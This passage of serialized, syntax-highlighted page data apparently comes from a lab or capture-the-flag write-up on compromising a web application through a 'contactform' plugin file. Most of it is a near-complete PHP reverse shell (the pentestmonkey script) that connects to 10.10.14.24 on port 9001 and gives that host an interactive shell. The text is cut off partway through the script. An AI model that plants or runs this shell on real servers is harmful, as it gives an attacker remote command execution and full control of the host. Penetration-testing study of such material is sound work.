",[28,3998,2543],{"class":909},[28,4000,4001],{"class":54},"images\u002Fcontactform.png",[28,4003,2543],{"class":909},[28,4005,3934],{"class":54},[28,4007,4008,4010,4013,4015,4018,4020,4023],{"class":30,"line":614},[28,4009,3855],{"class":909},[28,4011,4012],{"class":54},"compatibility",[28,4014,2543],{"class":909},[28,4016,4017],{"class":54}," => ",[28,4019,2543],{"class":909},[28,4021,4022],{"class":54},"4.7",[28,4024,4025],{"class":909},"'\n",[28,4027,4028],{"class":30,"line":627},[28,4029,4030],{"class":54}," );\n",[28,4032,4033],{"class":30,"line":644},[28,4034,4035],{"class":54},"}\n",[28,4037,4038],{"class":30,"line":656},[28,4039,4040],{"class":54},"?>\n",[11,4042,4043],{},"Content of the exploit.php (contactform.php) afterwards:",[15,4045,4046],{},[18,4047,4049],{"className":20,"code":4048,"language":22,"meta":23,"style":23},"\u003C?php\n\u002F\u002F php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https:\u002F\u002Fraw.githubusercontent.com\u002Fpentestmonkey\u002Fphp-reverse-shell\u002Fmaster\u002Fphp-reverse-shell.php\n\u002F\u002F Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n\nset_time_limit (0);\n$VERSION = \"1.0\";\n$ip = '10.10.14.24';\n$port = 9001;\n$chunk_size = 1400;\n$write_a = null;\n$error_a = null;\n$shell = 'uname -a; w; id; sh -i';\n$daemon = 0;\n$debug = 0;\n\nif (function_exists('pcntl_fork')) {\n $pid = pcntl_fork();\n \n if ($pid == -1) {\n printit(\"ERROR: Can't fork\");\n exit(1);\n }\n \n if ($pid) {\n exit(0); \u002F\u002F Parent exits\n }\n if (posix_setsid() == -1) {\n printit(\"Error: Can't setsid()\");\n exit(1);\n }\n \n $daemon = 1;\n} else {\n printit(\"WARNING: Failed to daemonise. This is quite common and not fatal.\");\n}\n\nchdir(\"\u002F\");\n\numask(0);\n\n\u002F\u002F Open reverse connection\n$sock = fsockopen($ip, $port, $errno, $errstr, 30);\nif (!$sock) {\n printit(\"$errstr ($errno)\");\n exit(1);\n}\n\n$descriptorspec = array(\n 0 => array(\"pipe\", \"r\"), \u002F\u002F stdin is a pipe that the child will read from\n 1 => array(\"pipe\", \"w\"), \u002F\u002F stdout is a pipe that the child will write to\n 2 => array(\"pipe\", \"w\") \u002F\u002F stderr is a pipe that the child will write to\n);\n\n$process = proc_open($shell, $descriptorspec, $pipes);\n\nif (!is_resource($process)) {\n printit(\"ERROR: Can't spawn shell\");\n exit(1);\n}\n\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\n\nprintit(\"Successfully opened reverse shell to $ip:$port\");\n\nwhile (1) {\n if (feof($sock)) {\n printit(\"ERROR: Shell connection terminated\");\n break;\n }\n\n if (feof($pipes[1])) {\n printit(\"ERROR: Shell process terminated\");\n break;\n }\n \n $read_a = array($sock, $pipes[1], $pipes[2]);\n $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n \n if (in_array($sock, $read_a)) {\n if ($debug) printit(\"SOCK READ\");\n $input = fread($sock, $chunk_size);\n if ($debug) printit(\"SOCK: $input\");\n fwrite($pipes[0], $input);\n }\n \n if (in_array($pipes[1], $read_a)) {\n if ($debug) printit(\"STDOUT READ\");\n $input = fread($pipes[1], $chunk_size);\n if ($debug) printit(\"STDOUT: $input\");\n fwrite($sock, $input);\n }\n \n if (in_array($pipes[2], $read_a)) {\n if ($debug) printit(\"STDERR READ\");\n $input = fread($pipes[2], $chunk_size);\n if ($debug) printit(\"STDERR: $input\");\n fwrite($sock, $input);\n }\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\n\nfunction printit ($string) {\n if (!$daemon) {\n print \"$string\\n\";\n }\n}\n\n?>\n",[25,4050,4051,4057,4107,4116,4120,4130,4148,4164,4176,4188,4200,4211,4227,4239,4250,4254,4277,4290,4295,4313,4325,4339,4344,4348,4360,4382,4386,4403,4414,4426,4430,4434,4445,4450,4460,4464,4468,4480,4484,4497,4501,4514,4544,4559,4578,4591,4595,4599,4607,4667,4720,4769,4773,4777,4802,4806,4823,4834,4846,4850,4854,4865,4876,4887,4898,4902,4922,4926,4939,4954,4965,4972,4976,4980,4995,5006,5012,5016,5020,5057,5085,5089,5107,5128,5148,5172,5184,5188,5192,5209,5228,5252,5275,5286,5290,5294,5311,5330,5354,5377,5387,5391,5395,5399,5408,5417,5426,5435,5444,5448,5465,5479,5494,5498,5502,5506],{"__ignoreMap":23},[28,4052,4053,4055],{"class":30,"line":31},[28,4054,3565],{"class":924},[28,4056,3568],{"class":169},[28,4058,4059,4062,4065,4067,4070,4073,4076,4079,4082,4085,4088,4091,4093,4096,4098,4101,4104],{"class":30,"line":38},[28,4060,4061],{"class":34},"\u002F\u002F",[28,4063,4064],{"class":54}," php-reverse-shell",[28,4066,1063],{"class":54},[28,4068,4069],{"class":54}," A",[28,4071,4072],{"class":54}," Reverse",[28,4074,4075],{"class":54}," Shell",[28,4077,4078],{"class":54}," implementation",[28,4080,4081],{"class":54}," in",[28,4083,4084],{"class":54}," PHP.",[28,4086,4087],{"class":54}," Comments",[28,4089,4090],{"class":54}," stripped",[28,4092,1054],{"class":54},[28,4094,4095],{"class":54}," slim",[28,4097,3654],{"class":54},[28,4099,4100],{"class":54}," down.",[28,4102,4103],{"class":54}," RE:",[28,4105,4106],{"class":54}," https:\u002F\u002Fraw.githubusercontent.com\u002Fpentestmonkey\u002Fphp-reverse-shell\u002Fmaster\u002Fphp-reverse-shell.php\n",[28,4108,4109,4111,4113],{"class":30,"line":48},[28,4110,4061],{"class":34},[28,4112,3615],{"class":54},[28,4114,4115],{"class":169}," (C) 2007 pentestmonkey@pentestmonkey.net\n",[28,4117,4118],{"class":30,"line":58},[28,4119,71],{"emptyLinePlaceholder":70},[28,4121,4122,4125,4128],{"class":30,"line":67},[28,4123,4124],{"class":34},"set_time_limit",[28,4126,4127],{"class":169}," (0)",[28,4129,2201],{"class":909},[28,4131,4132,4135,4138,4141,4144,4146],{"class":30,"line":74},[28,4133,4134],{"class":1291},"$VERSION",[28,4136,4137],{"class":54}," =",[28,4139,4140],{"class":909}," \"",[28,4142,4143],{"class":54},"1.0",[28,4145,1529],{"class":909},[28,4147,2201],{"class":909},[28,4149,4150,4153,4155,4157,4160,4162],{"class":30,"line":83},[28,4151,4152],{"class":1291},"$ip",[28,4154,4137],{"class":54},[28,4156,3431],{"class":909},[28,4158,4159],{"class":54},"10.10.14.24",[28,4161,2543],{"class":909},[28,4163,2201],{"class":909},[28,4165,4166,4169,4171,4174],{"class":30,"line":88},[28,4167,4168],{"class":1291},"$port",[28,4170,4137],{"class":54},[28,4172,4173],{"class":201}," 9001",[28,4175,2201],{"class":909},[28,4177,4178,4181,4183,4186],{"class":30,"line":94},[28,4179,4180],{"class":1291},"$chunk_size",[28,4182,4137],{"class":54},[28,4184,4185],{"class":201}," 1400",[28,4187,2201],{"class":909},[28,4189,4190,4193,4195,4198],{"class":30,"line":113},[28,4191,4192],{"class":1291},"$write_a",[28,4194,4137],{"class":54},[28,4196,4197],{"class":54}," null",[28,4199,2201],{"class":909},[28,4201,4202,4205,4207,4209],{"class":30,"line":122},[28,4203,4204],{"class":1291},"$error_a",[28,4206,4137],{"class":54},[28,4208,4197],{"class":54},[28,4210,2201],{"class":909},[28,4212,4213,4216,4218,4220,4223,4225],{"class":30,"line":131},[28,4214,4215],{"class":1291},"$shell",[28,4217,4137],{"class":54},[28,4219,3431],{"class":909},[28,4221,4222],{"class":54},"uname -a; w; id; sh -i",[28,4224,2543],{"class":909},[28,4226,2201],{"class":909},[28,4228,4229,4232,4234,4237],{"class":30,"line":139},[28,4230,4231],{"class":1291},"$daemon",[28,4233,4137],{"class":54},[28,4235,4236],{"class":201}," 0",[28,4238,2201],{"class":909},[28,4240,4241,4244,4246,4248],{"class":30,"line":346},[28,4242,4243],{"class":1291},"$debug",[28,4245,4137],{"class":54},[28,4247,4236],{"class":201},[28,4249,2201],{"class":909},[28,4251,4252],{"class":30,"line":361},[28,4253,71],{"emptyLinePlaceholder":70},[28,4255,4256,4260,4263,4266,4269,4271,4274],{"class":30,"line":376},[28,4257,4259],{"class":4258},"sBQf5","if",[28,4261,4262],{"class":909}," (",[28,4264,4265],{"class":34},"function_exists(",[28,4267,4268],{"class":34},"'pcntl_fork'",[28,4270,2198],{"class":909},[28,4272,4273],{"class":169},") ",[28,4275,4276],{"class":909},"{\n",[28,4278,4279,4282,4284,4287],{"class":30,"line":400},[28,4280,4281],{"class":1291}," $pid",[28,4283,4137],{"class":54},[28,4285,4286],{"class":54}," pcntl_fork",[28,4288,4289],{"class":909},"();\n",[28,4291,4292],{"class":30,"line":431},[28,4293,4294],{"class":169}," \n",[28,4296,4297,4300,4302,4305,4308,4310],{"class":30,"line":448},[28,4298,4299],{"class":4258}," if",[28,4301,4262],{"class":909},[28,4303,4304],{"class":1291},"$pid",[28,4306,4307],{"class":169}," == -1",[28,4309,2198],{"class":909},[28,4311,4312],{"class":909}," {\n",[28,4314,4315,4318,4321,4323],{"class":30,"line":466},[28,4316,4317],{"class":34}," printit(",[28,4319,4320],{"class":34},"\"ERROR: Can't fork\"",[28,4322,2198],{"class":169},[28,4324,2201],{"class":909},[28,4326,4327,4330,4333,4335,4337],{"class":30,"line":487},[28,4328,4329],{"class":97}," exit",[28,4331,4332],{"class":169},"(",[28,4334,1731],{"class":54},[28,4336,2198],{"class":169},[28,4338,2201],{"class":909},[28,4340,4341],{"class":30,"line":503},[28,4342,4343],{"class":909}," }\n",[28,4345,4346],{"class":30,"line":519},[28,4347,4294],{"class":169},[28,4349,4350,4352,4354,4356,4358],{"class":30,"line":548},[28,4351,4299],{"class":4258},[28,4353,4262],{"class":909},[28,4355,4304],{"class":1291},[28,4357,2198],{"class":909},[28,4359,4312],{"class":909},[28,4361,4362,4364,4366,4369,4371,4373,4376,4379],{"class":30,"line":563},[28,4363,4329],{"class":97},[28,4365,4332],{"class":169},[28,4367,4368],{"class":54},"0",[28,4370,2198],{"class":169},[28,4372,910],{"class":909},[28,4374,4375],{"class":34}," \u002F\u002F",[28,4377,4378],{"class":54}," Parent",[28,4380,4381],{"class":54}," exits\n",[28,4383,4384],{"class":30,"line":580},[28,4385,4343],{"class":909},[28,4387,4388,4390,4392,4395,4398,4401],{"class":30,"line":614},[28,4389,4299],{"class":4258},[28,4391,4262],{"class":909},[28,4393,4394],{"class":34},"posix_setsid",[28,4396,4397],{"class":909},"()",[28,4399,4400],{"class":169}," == -1) ",[28,4402,4276],{"class":909},[28,4404,4405,4407,4410,4412],{"class":30,"line":627},[28,4406,4317],{"class":34},[28,4408,4409],{"class":34},"\"Error: Can't setsid()\"",[28,4411,2198],{"class":169},[28,4413,2201],{"class":909},[28,4415,4416,4418,4420,4422,4424],{"class":30,"line":644},[28,4417,4329],{"class":97},[28,4419,4332],{"class":169},[28,4421,1731],{"class":54},[28,4423,2198],{"class":169},[28,4425,2201],{"class":909},[28,4427,4428],{"class":30,"line":656},[28,4429,4343],{"class":909},[28,4431,4432],{"class":30,"line":672},[28,4433,4294],{"class":169},[28,4435,4436,4439,4441,4443],{"class":30,"line":689},[28,4437,4438],{"class":1291}," $daemon",[28,4440,4137],{"class":54},[28,4442,234],{"class":201},[28,4444,2201],{"class":909},[28,4446,4447],{"class":30,"line":700},[28,4448,4449],{"class":169},"} else {\n",[28,4451,4452,4455,4458],{"class":30,"line":716},[28,4453,4454],{"class":34}," printit(",[28,4456,4457],{"class":34},"\"WARNING: Failed to daemonise. This is quite common and not fatal.\"",[28,4459,3831],{"class":909},[28,4461,4462],{"class":30,"line":733},[28,4463,4035],{"class":169},[28,4465,4466],{"class":30,"line":744},[28,4467,71],{"emptyLinePlaceholder":70},[28,4469,4470,4473,4476,4478],{"class":30,"line":759},[28,4471,4472],{"class":34},"chdir(",[28,4474,4475],{"class":34},"\"\u002F\"",[28,4477,2198],{"class":169},[28,4479,2201],{"class":909},[28,4481,4482],{"class":30,"line":776},[28,4483,71],{"emptyLinePlaceholder":70},[28,4485,4486,4489,4491,4493,4495],{"class":30,"line":809},[28,4487,4488],{"class":97},"umask",[28,4490,4332],{"class":169},[28,4492,4368],{"class":54},[28,4494,2198],{"class":169},[28,4496,2201],{"class":909},[28,4498,4499],{"class":30,"line":831},[28,4500,71],{"emptyLinePlaceholder":70},[28,4502,4503,4505,4508,4511],{"class":30,"line":854},[28,4504,4061],{"class":34},[28,4506,4507],{"class":54}," Open",[28,4509,4510],{"class":54}," reverse",[28,4512,4513],{"class":54}," connection\n",[28,4515,4516,4519,4522,4524,4527,4529,4531,4534,4536,4539,4542],{"class":30,"line":872},[28,4517,4518],{"class":1291},"$sock",[28,4520,4521],{"class":169}," = fsockopen(",[28,4523,4152],{"class":1291},[28,4525,4526],{"class":169},", ",[28,4528,4168],{"class":1291},[28,4530,4526],{"class":169},[28,4532,4533],{"class":1291},"$errno",[28,4535,4526],{"class":169},[28,4537,4538],{"class":1291},"$errstr",[28,4540,4541],{"class":169},", 30)",[28,4543,2201],{"class":909},[28,4545,4546,4548,4550,4553,4555,4557],{"class":30,"line":921},[28,4547,4259],{"class":4258},[28,4549,4262],{"class":909},[28,4551,4552],{"class":924},"!",[28,4554,4518],{"class":1291},[28,4556,2198],{"class":909},[28,4558,4312],{"class":909},[28,4560,4561,4563,4565,4567,4569,4571,4574,4576],{"class":30,"line":934},[28,4562,4454],{"class":34},[28,4564,1529],{"class":34},[28,4566,4538],{"class":1291},[28,4568,4262],{"class":34},[28,4570,4533],{"class":1291},[28,4572,4573],{"class":34},")\"",[28,4575,2198],{"class":169},[28,4577,2201],{"class":909},[28,4579,4580,4583,4585,4587,4589],{"class":30,"line":948},[28,4581,4582],{"class":97}," exit",[28,4584,4332],{"class":169},[28,4586,1731],{"class":54},[28,4588,2198],{"class":169},[28,4590,2201],{"class":909},[28,4592,4593],{"class":30,"line":959},[28,4594,4035],{"class":909},[28,4596,4597],{"class":30,"line":972},[28,4598,71],{"emptyLinePlaceholder":70},[28,4600,4601,4604],{"class":30,"line":983},[28,4602,4603],{"class":1291},"$descriptorspec",[28,4605,4606],{"class":169}," = array(\n",[28,4608,4609,4612,4614,4616,4619,4621,4624,4627,4629,4631,4633,4635,4637,4639,4642,4644,4647,4650,4653,4655,4658,4661,4664],{"class":30,"line":1010},[28,4610,4611],{"class":34}," 0",[28,4613,4137],{"class":169},[28,4615,1603],{"class":924},[28,4617,4618],{"class":54}," array",[28,4620,4332],{"class":909},[28,4622,4623],{"class":34},"\"pipe\"",[28,4625,4626],{"class":34},",",[28,4628,4140],{"class":909},[28,4630,1776],{"class":54},[28,4632,1529],{"class":909},[28,4634,2198],{"class":909},[28,4636,4626],{"class":54},[28,4638,4375],{"class":54},[28,4640,4641],{"class":54}," stdin",[28,4643,782],{"class":54},[28,4645,4646],{"class":54}," a",[28,4648,4649],{"class":54}," pipe",[28,4651,4652],{"class":54}," that",[28,4654,2949],{"class":54},[28,4656,4657],{"class":54}," child",[28,4659,4660],{"class":54}," will",[28,4662,4663],{"class":54}," read",[28,4665,4666],{"class":54}," from\n",[28,4668,4669,4672,4674,4676,4678,4680,4682,4684,4686,4689,4691,4693,4695,4697,4700,4702,4704,4706,4708,4710,4712,4714,4717],{"class":30,"line":1020},[28,4670,4671],{"class":34}," 1",[28,4673,4137],{"class":169},[28,4675,1603],{"class":924},[28,4677,4618],{"class":54},[28,4679,4332],{"class":909},[28,4681,4623],{"class":34},[28,4683,4626],{"class":34},[28,4685,4140],{"class":909},[28,4687,4688],{"class":54},"w",[28,4690,1529],{"class":909},[28,4692,2198],{"class":909},[28,4694,4626],{"class":54},[28,4696,4375],{"class":54},[28,4698,4699],{"class":54}," stdout",[28,4701,782],{"class":54},[28,4703,4646],{"class":54},[28,4705,4649],{"class":54},[28,4707,4652],{"class":54},[28,4709,2949],{"class":54},[28,4711,4657],{"class":54},[28,4713,4660],{"class":54},[28,4715,4716],{"class":54}," write",[28,4718,4719],{"class":54}," to\n",[28,4721,4722,4725,4727,4729,4731,4733,4735,4737,4739,4741,4743,4745,4748,4751,4753,4755,4757,4759,4761,4763,4765,4767],{"class":30,"line":1043},[28,4723,4724],{"class":34}," 2",[28,4726,4137],{"class":169},[28,4728,1603],{"class":924},[28,4730,4618],{"class":54},[28,4732,4332],{"class":909},[28,4734,4623],{"class":34},[28,4736,4626],{"class":34},[28,4738,4140],{"class":909},[28,4740,4688],{"class":54},[28,4742,1529],{"class":909},[28,4744,2198],{"class":909},[28,4746,4747],{"class":54}," \u002F\u002F",[28,4749,4750],{"class":54}," stderr",[28,4752,782],{"class":54},[28,4754,4646],{"class":54},[28,4756,4649],{"class":54},[28,4758,4652],{"class":54},[28,4760,2949],{"class":54},[28,4762,4657],{"class":54},[28,4764,4660],{"class":54},[28,4766,4716],{"class":54},[28,4768,4719],{"class":54},[28,4770,4771],{"class":30,"line":1069},[28,4772,3831],{"class":169},[28,4774,4775],{"class":30,"line":1086},[28,4776,71],{"emptyLinePlaceholder":70},[28,4778,4779,4782,4784,4787,4789,4791,4793,4795,4797,4800],{"class":30,"line":1112},[28,4780,4781],{"class":1291},"$process",[28,4783,4137],{"class":54},[28,4785,4786],{"class":54}," proc_open",[28,4788,4332],{"class":909},[28,4790,4215],{"class":1291},[28,4792,4526],{"class":169},[28,4794,4603],{"class":1291},[28,4796,4526],{"class":169},[28,4798,4799],{"class":1291},"$pipes",[28,4801,3831],{"class":909},[28,4803,4804],{"class":30,"line":1130},[28,4805,71],{"emptyLinePlaceholder":70},[28,4807,4808,4810,4812,4814,4817,4819,4821],{"class":30,"line":1141},[28,4809,4259],{"class":4258},[28,4811,4262],{"class":909},[28,4813,4552],{"class":924},[28,4815,4816],{"class":34},"is_resource($process",[28,4818,2198],{"class":909},[28,4820,4273],{"class":169},[28,4822,4276],{"class":909},[28,4824,4825,4827,4830,4832],{"class":30,"line":1154},[28,4826,4454],{"class":34},[28,4828,4829],{"class":34},"\"ERROR: Can't spawn shell\"",[28,4831,2198],{"class":169},[28,4833,2201],{"class":909},[28,4835,4836,4838,4840,4842,4844],{"class":30,"line":1168},[28,4837,4582],{"class":97},[28,4839,4332],{"class":169},[28,4841,1731],{"class":54},[28,4843,2198],{"class":169},[28,4845,2201],{"class":909},[28,4847,4848],{"class":30,"line":1178},[28,4849,4035],{"class":909},[28,4851,4852],{"class":30,"line":1188},[28,4853,71],{"emptyLinePlaceholder":70},[28,4855,4856,4859,4861,4863],{"class":30,"line":1198},[28,4857,4858],{"class":34},"stream_set_blocking($pipes[0],",[28,4860,4236],{"class":201},[28,4862,2198],{"class":169},[28,4864,2201],{"class":909},[28,4866,4867,4870,4872,4874],{"class":30,"line":1217},[28,4868,4869],{"class":34},"stream_set_blocking($pipes[1],",[28,4871,4236],{"class":201},[28,4873,2198],{"class":169},[28,4875,2201],{"class":909},[28,4877,4878,4881,4883,4885],{"class":30,"line":1235},[28,4879,4880],{"class":34},"stream_set_blocking($pipes[2],",[28,4882,4236],{"class":201},[28,4884,2198],{"class":169},[28,4886,2201],{"class":909},[28,4888,4889,4892,4894,4896],{"class":30,"line":1245},[28,4890,4891],{"class":34},"stream_set_blocking($sock,",[28,4893,4236],{"class":201},[28,4895,2198],{"class":169},[28,4897,2201],{"class":909},[28,4899,4900],{"class":30,"line":1261},[28,4901,71],{"emptyLinePlaceholder":70},[28,4903,4904,4907,4910,4912,4914,4916,4918,4920],{"class":30,"line":1278},[28,4905,4906],{"class":34},"printit(",[28,4908,4909],{"class":34},"\"Successfully opened reverse shell to ",[28,4911,4152],{"class":1291},[28,4913,98],{"class":34},[28,4915,4168],{"class":1291},[28,4917,1529],{"class":34},[28,4919,2198],{"class":169},[28,4921,2201],{"class":909},[28,4923,4924],{"class":30,"line":1301},[28,4925,71],{"emptyLinePlaceholder":70},[28,4927,4928,4931,4933,4935,4937],{"class":30,"line":1312},[28,4929,4930],{"class":4258},"while",[28,4932,4262],{"class":909},[28,4934,1731],{"class":34},[28,4936,2198],{"class":909},[28,4938,4312],{"class":909},[28,4940,4941,4943,4945,4948,4950,4952],{"class":30,"line":1320},[28,4942,4299],{"class":4258},[28,4944,4262],{"class":909},[28,4946,4947],{"class":34},"feof($sock",[28,4949,2198],{"class":909},[28,4951,4273],{"class":169},[28,4953,4276],{"class":909},[28,4955,4956,4958,4961,4963],{"class":30,"line":1330},[28,4957,4317],{"class":34},[28,4959,4960],{"class":34},"\"ERROR: Shell connection terminated\"",[28,4962,2198],{"class":169},[28,4964,2201],{"class":909},[28,4966,4967,4970],{"class":30,"line":1344},[28,4968,4969],{"class":4258}," break",[28,4971,2201],{"class":909},[28,4973,4974],{"class":30,"line":1364},[28,4975,4343],{"class":909},[28,4977,4978],{"class":30,"line":1382},[28,4979,71],{"emptyLinePlaceholder":70},[28,4981,4982,4984,4986,4989,4991,4993],{"class":30,"line":1418},[28,4983,4299],{"class":4258},[28,4985,4262],{"class":909},[28,4987,4988],{"class":34},"feof($pipes[1]",[28,4990,2198],{"class":909},[28,4992,4273],{"class":169},[28,4994,4276],{"class":909},[28,4996,4997,4999,5002,5004],{"class":30,"line":1458},[28,4998,4317],{"class":34},[28,5000,5001],{"class":34},"\"ERROR: Shell process terminated\"",[28,5003,2198],{"class":169},[28,5005,2201],{"class":909},[28,5007,5008,5010],{"class":30,"line":1469},[28,5009,4969],{"class":4258},[28,5011,2201],{"class":909},[28,5013,5014],{"class":30,"line":1495},[28,5015,4343],{"class":909},[28,5017,5018],{"class":30,"line":1515},[28,5019,4294],{"class":169},[28,5021,5022,5025,5027,5029,5031,5033,5035,5037,5039,5041,5044,5046,5048,5050,5053,5055],{"class":30,"line":1549},[28,5023,5024],{"class":1291}," $read_a",[28,5026,4137],{"class":54},[28,5028,4618],{"class":54},[28,5030,4332],{"class":909},[28,5032,4518],{"class":1291},[28,5034,4526],{"class":169},[28,5036,4799],{"class":1291},[28,5038,388],{"class":97},[28,5040,1731],{"class":169},[28,5042,5043],{"class":97},"]",[28,5045,4526],{"class":169},[28,5047,4799],{"class":1291},[28,5049,388],{"class":97},[28,5051,5052],{"class":169},"2",[28,5054,5043],{"class":97},[28,5056,3831],{"class":909},[28,5058,5059,5062,5064,5067,5069,5072,5074,5076,5078,5080,5083],{"class":30,"line":1561},[28,5060,5061],{"class":1291}," $num_changed_sockets",[28,5063,4137],{"class":54},[28,5065,5066],{"class":54}," stream_select",[28,5068,4332],{"class":909},[28,5070,5071],{"class":1291},"$read_a",[28,5073,4526],{"class":169},[28,5075,4192],{"class":1291},[28,5077,4526],{"class":169},[28,5079,4204],{"class":1291},[28,5081,5082],{"class":169},", null",[28,5084,3831],{"class":909},[28,5086,5087],{"class":30,"line":1593},[28,5088,4294],{"class":169},[28,5090,5091,5093,5095,5098,5101,5103,5105],{"class":30,"line":1612},[28,5092,4299],{"class":4258},[28,5094,4262],{"class":909},[28,5096,5097],{"class":34},"in_array($sock,",[28,5099,5100],{"class":1291}," $read_a",[28,5102,2198],{"class":909},[28,5104,4273],{"class":169},[28,5106,4276],{"class":909},[28,5108,5109,5112,5114,5116,5118,5121,5124,5126],{"class":30,"line":1640},[28,5110,5111],{"class":4258}," if",[28,5113,4262],{"class":909},[28,5115,4243],{"class":1291},[28,5117,2198],{"class":909},[28,5119,5120],{"class":34}," printit(",[28,5122,5123],{"class":34},"\"SOCK READ\"",[28,5125,2198],{"class":169},[28,5127,2201],{"class":909},[28,5129,5130,5133,5135,5138,5140,5142,5144,5146],{"class":30,"line":1646},[28,5131,5132],{"class":1291}," $input",[28,5134,4137],{"class":54},[28,5136,5137],{"class":54}," fread",[28,5139,4332],{"class":909},[28,5141,4518],{"class":1291},[28,5143,4526],{"class":169},[28,5145,4180],{"class":1291},[28,5147,3831],{"class":909},[28,5149,5150,5152,5154,5156,5158,5160,5163,5166,5168,5170],{"class":30,"line":1652},[28,5151,5111],{"class":4258},[28,5153,4262],{"class":909},[28,5155,4243],{"class":1291},[28,5157,2198],{"class":909},[28,5159,5120],{"class":34},[28,5161,5162],{"class":34},"\"SOCK: ",[28,5164,5165],{"class":1291},"$input",[28,5167,1529],{"class":34},[28,5169,2198],{"class":169},[28,5171,2201],{"class":909},[28,5173,5174,5177,5180,5182],{"class":30,"line":1658},[28,5175,5176],{"class":34}," fwrite($pipes[0],",[28,5178,5179],{"class":1291}," $input",[28,5181,2198],{"class":169},[28,5183,2201],{"class":909},[28,5185,5186],{"class":30,"line":1663},[28,5187,4343],{"class":909},[28,5189,5190],{"class":30,"line":1669},[28,5191,4294],{"class":169},[28,5193,5194,5196,5198,5201,5203,5205,5207],{"class":30,"line":1675},[28,5195,4299],{"class":4258},[28,5197,4262],{"class":909},[28,5199,5200],{"class":34},"in_array($pipes[1],",[28,5202,5100],{"class":1291},[28,5204,2198],{"class":909},[28,5206,4273],{"class":169},[28,5208,4276],{"class":909},[28,5210,5211,5213,5215,5217,5219,5221,5224,5226],{"class":30,"line":1681},[28,5212,5111],{"class":4258},[28,5214,4262],{"class":909},[28,5216,4243],{"class":1291},[28,5218,2198],{"class":909},[28,5220,5120],{"class":34},[28,5222,5223],{"class":34},"\"STDOUT READ\"",[28,5225,2198],{"class":169},[28,5227,2201],{"class":909},[28,5229,5230,5232,5234,5236,5238,5240,5242,5244,5246,5248,5250],{"class":30,"line":1687},[28,5231,5132],{"class":1291},[28,5233,4137],{"class":54},[28,5235,5137],{"class":54},[28,5237,4332],{"class":909},[28,5239,4799],{"class":1291},[28,5241,388],{"class":97},[28,5243,1731],{"class":169},[28,5245,5043],{"class":97},[28,5247,4526],{"class":169},[28,5249,4180],{"class":1291},[28,5251,3831],{"class":909},[28,5253,5254,5256,5258,5260,5262,5264,5267,5269,5271,5273],{"class":30,"line":1693},[28,5255,5111],{"class":4258},[28,5257,4262],{"class":909},[28,5259,4243],{"class":1291},[28,5261,2198],{"class":909},[28,5263,5120],{"class":34},[28,5265,5266],{"class":34},"\"STDOUT: ",[28,5268,5165],{"class":1291},[28,5270,1529],{"class":34},[28,5272,2198],{"class":169},[28,5274,2201],{"class":909},[28,5276,5277,5280,5282,5284],{"class":30,"line":1699},[28,5278,5279],{"class":34}," fwrite($sock,",[28,5281,5179],{"class":1291},[28,5283,2198],{"class":169},[28,5285,2201],{"class":909},[28,5287,5288],{"class":30,"line":1705},[28,5289,4343],{"class":909},[28,5291,5292],{"class":30,"line":1711},[28,5293,4294],{"class":169},[28,5295,5296,5298,5300,5303,5305,5307,5309],{"class":30,"line":1717},[28,5297,4299],{"class":4258},[28,5299,4262],{"class":909},[28,5301,5302],{"class":34},"in_array($pipes[2],",[28,5304,5100],{"class":1291},[28,5306,2198],{"class":909},[28,5308,4273],{"class":169},[28,5310,4276],{"class":909},[28,5312,5313,5315,5317,5319,5321,5323,5326,5328],{"class":30,"line":1759},[28,5314,5111],{"class":4258},[28,5316,4262],{"class":909},[28,5318,4243],{"class":1291},[28,5320,2198],{"class":909},[28,5322,5120],{"class":34},[28,5324,5325],{"class":34},"\"STDERR READ\"",[28,5327,2198],{"class":169},[28,5329,2201],{"class":909},[28,5331,5332,5334,5336,5338,5340,5342,5344,5346,5348,5350,5352],{"class":30,"line":1812},[28,5333,5132],{"class":1291},[28,5335,4137],{"class":54},[28,5337,5137],{"class":54},[28,5339,4332],{"class":909},[28,5341,4799],{"class":1291},[28,5343,388],{"class":97},[28,5345,5052],{"class":169},[28,5347,5043],{"class":97},[28,5349,4526],{"class":169},[28,5351,4180],{"class":1291},[28,5353,3831],{"class":909},[28,5355,5356,5358,5360,5362,5364,5366,5369,5371,5373,5375],{"class":30,"line":1824},[28,5357,5111],{"class":4258},[28,5359,4262],{"class":909},[28,5361,4243],{"class":1291},[28,5363,2198],{"class":909},[28,5365,5120],{"class":34},[28,5367,5368],{"class":34},"\"STDERR: ",[28,5370,5165],{"class":1291},[28,5372,1529],{"class":34},[28,5374,2198],{"class":169},[28,5376,2201],{"class":909},[28,5378,5379,5381,5383,5385],{"class":30,"line":1857},[28,5380,5279],{"class":34},[28,5382,5179],{"class":1291},[28,5384,2198],{"class":169},[28,5386,2201],{"class":909},[28,5388,5389],{"class":30,"line":1883},[28,5390,4343],{"class":909},[28,5392,5393],{"class":30,"line":1922},[28,5394,4035],{"class":169},[28,5396,5397],{"class":30,"line":1935},[28,5398,71],{"emptyLinePlaceholder":70},[28,5400,5401,5404,5406],{"class":30,"line":1970},[28,5402,5403],{"class":34},"fclose($sock",[28,5405,2198],{"class":169},[28,5407,2201],{"class":909},[28,5409,5410,5413,5415],{"class":30,"line":1976},[28,5411,5412],{"class":34},"fclose($pipes[0]",[28,5414,2198],{"class":169},[28,5416,2201],{"class":909},[28,5418,5419,5422,5424],{"class":30,"line":2017},[28,5420,5421],{"class":34},"fclose($pipes[1]",[28,5423,2198],{"class":169},[28,5425,2201],{"class":909},[28,5427,5428,5431,5433],{"class":30,"line":2040},[28,5429,5430],{"class":34},"fclose($pipes[2]",[28,5432,2198],{"class":169},[28,5434,2201],{"class":909},[28,5436,5437,5440,5442],{"class":30,"line":2051},[28,5438,5439],{"class":34},"proc_close($process",[28,5441,2198],{"class":169},[28,5443,2201],{"class":909},[28,5445,5446],{"class":30,"line":2071},[28,5447,71],{"emptyLinePlaceholder":70},[28,5449,5450,5453,5456,5458,5461,5463],{"class":30,"line":2077},[28,5451,5452],{"class":97},"function",[28,5454,5455],{"class":34}," 